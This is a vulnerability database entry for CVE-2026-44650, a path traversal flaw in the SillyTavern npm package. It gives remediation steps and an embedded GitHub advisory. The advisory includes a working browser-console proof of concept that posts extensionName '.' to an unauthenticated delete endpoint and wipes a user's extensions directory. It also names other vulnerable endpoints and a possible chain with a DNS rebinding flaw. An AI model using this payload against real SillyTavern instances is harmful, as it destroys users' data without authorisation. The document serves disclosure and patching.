CVE-2026-44650: Sillytavern Path Traversal Vulnerability
CRITICALCVE-2026-44650 is a CRITICAL (CVSS 9.1) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Sillytavern libraries in the npm ecosystem. The issue involves sillytavern has a path traversal issue. Remediation is available by upgrading affected packages to version 1.18.0.
CVE-2026-44650 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-44650
To remediate this vulnerability, upgrade all affected Sillytavern dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install sillytavern@1.18.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls sillytavern
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-44650, inspect your project dependencies using npm:
npm ls sillytavern
Analyze the terminal output to locate any version of Sillytavern in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.18.0), your application is affected.
Note: The npm ls sillytavern command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Sillytavern, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44650 Affected Sillytavern Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
sillytavern
|
npm |
< 1.18.0
|
1.18.0
|
References
Frequently Asked Questions
What is CVE-2026-44650?
Which Sillytavern versions are affected?
What version fixes CVE-2026-44650?
Is sillytavern affected?
What is the CVSS score of CVE-2026-44650?
What CWE is associated with CVE-2026-44650?
How can I check npm dependencies for CVE-2026-44650?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-886q-f44j-h6wh",
"modified" : "2026-05-12T22:23:45Z",
"published" : "2026-05-12T22:23:45Z",
"aliases" : [ "CVE-2026-44650" ],
"summary" : "SillyTavern has a Path Traversal issue",
"details" : "## Summary\n\n`POST /api/extensions/delete` endpoint accepts `extensionName: \".\"` which bypasses \n`sanitize-filename` validation, causing the entire user extensions directory to be \nrecursively deleted. No authentication is required in the default configuration.\n\n## Affected File\n\n`src/endpoints/extensions.js` (last modified: commit `3ad9b05e2`)\n\n## Root Cause\n\nThe validation check occurs **before** sanitization:\n\n```javascript\n// [1] \".\" is truthy — passes the check\nif (!request.body.extensionName) {\n return response.status(400).send('Bad Request');\n}\n\n// [2] sanitize(\".\") → \"\"\nconst extensionPath = path.join(basePath, sanitize(extensionName));\n// path.join(\"data\\\\default-user\\\\extensions\", \"\")\n// = \"data\\\\default-user\\\\extensions\" ← basePath itself!\n\n// [3] Deletes the entire extensions directory\nawait fs.promises.rm(extensionPath, { recursive: true });\n```\n\n`sanitize-filename` converts `\".\"` to `\"\"` (documented behavior). \n`path.join(basePath, \"\")` returns `basePath` itself. \nResult: the entire `data\\default-user\\extensions\\` directory is deleted.\n\n## Proof of Concept\n\nTested on: Windows 10, SillyTavern v1.17.0, commit `004f1336e` \nAuthentication: none (basicAuthMode: false, default configuration)\n\nRun in browser console (F12) while SillyTavern is open:\n\n```javascript\nasync function poc() {\n const { token } = await (await fetch('/csrf-token')).json();\n const headers = {\n 'Content-Type': 'application/json',\n 'X-CSRF-Token': token,\n };\n\n // Before: 1 extension installed\n const before = await (await fetch('/api/extensions/discover', { headers })).json();\n console.log('Before:', before.filter(e => e.type === 'local'));\n // [{ type: 'local', name: 'third-party/Extension-Notebook' }]\n\n // Attack\n const res = await fetch('/api/extensions/delete', {\n method: 'POST',\n headers,\n body: JSON.stringify({ extensionName: '.' }),\n });\n console.log('Status:', res.status); // 200\n console.log('Body:', await res.text()); // \"Extension has been deleted at data\\default-user\\extensions\"\n\n // After: empty\n const after = await (await fetch('/api/extensions/discover', { headers })).json();\n console.log('After:', after.filter(e => e.type === 'local'));\n // []\n}\npoc();\n```\n\n**Result:**\nBefore: [{ type: 'local', name: 'third-party/Extension-Notebook' }]\nStatus: 200\nBody: Extension has been deleted at data\\default-user\\extensions\nAfter: []\n\n## Impact\n\n- **No authentication required** (`basicAuthMode: false` by default). \n Any user with network access to the SillyTavern instance can permanently \n delete the entire extensions directory with a single HTTP request.\n- All installed third-party extensions are unrecoverably lost.\n- With `global: true` and admin privileges, the global extensions directory \n shared across all users can also be deleted.\n- This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to \n enable unauthenticated remote exploitation from a malicious website.\n\n## Same Pattern in Other Endpoints\n\nThe same vulnerability exists in:\n- `POST /api/extensions/update`\n- `POST /api/extensions/version`\n- `POST /api/extensions/branches`\n- `POST /api/extensions/switch`\n\n## Suggested Fix\n\n```javascript\nconst sanitized = sanitize(extensionName);\n\n// Check AFTER sanitizing\nif (!sanitized) {\n return response.status(400).send('Bad Request: Invalid extension name.');\n}\n\nconst extensionPath = path.join(basePath, sanitized);\n\n// Additional path traversal guard\nconst resolvedPath = path.resolve(extensionPath);\nconst resolvedBase = path.resolve(basePath);\nif (!resolvedPath.startsWith(resolvedBase + path.sep)) {\n return response.status(400).send('Bad Request: Invalid extension path.');\n}\n```\n\nApply the same fix to `/update`, `/version`, `/branches`, and `/switch` endpoints.\n\n## References\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)\n- sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename\n- Related CVE (same project): CVE-2025-59159\n\n\n##REPORTED BY\nJormungandr",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "sillytavern"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.18.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.17.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SillyTavern/SillyTavern"
}, {
"type" : "WEB",
"url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-12T22:23:45Z",
"nvd_published_at" : null
}
}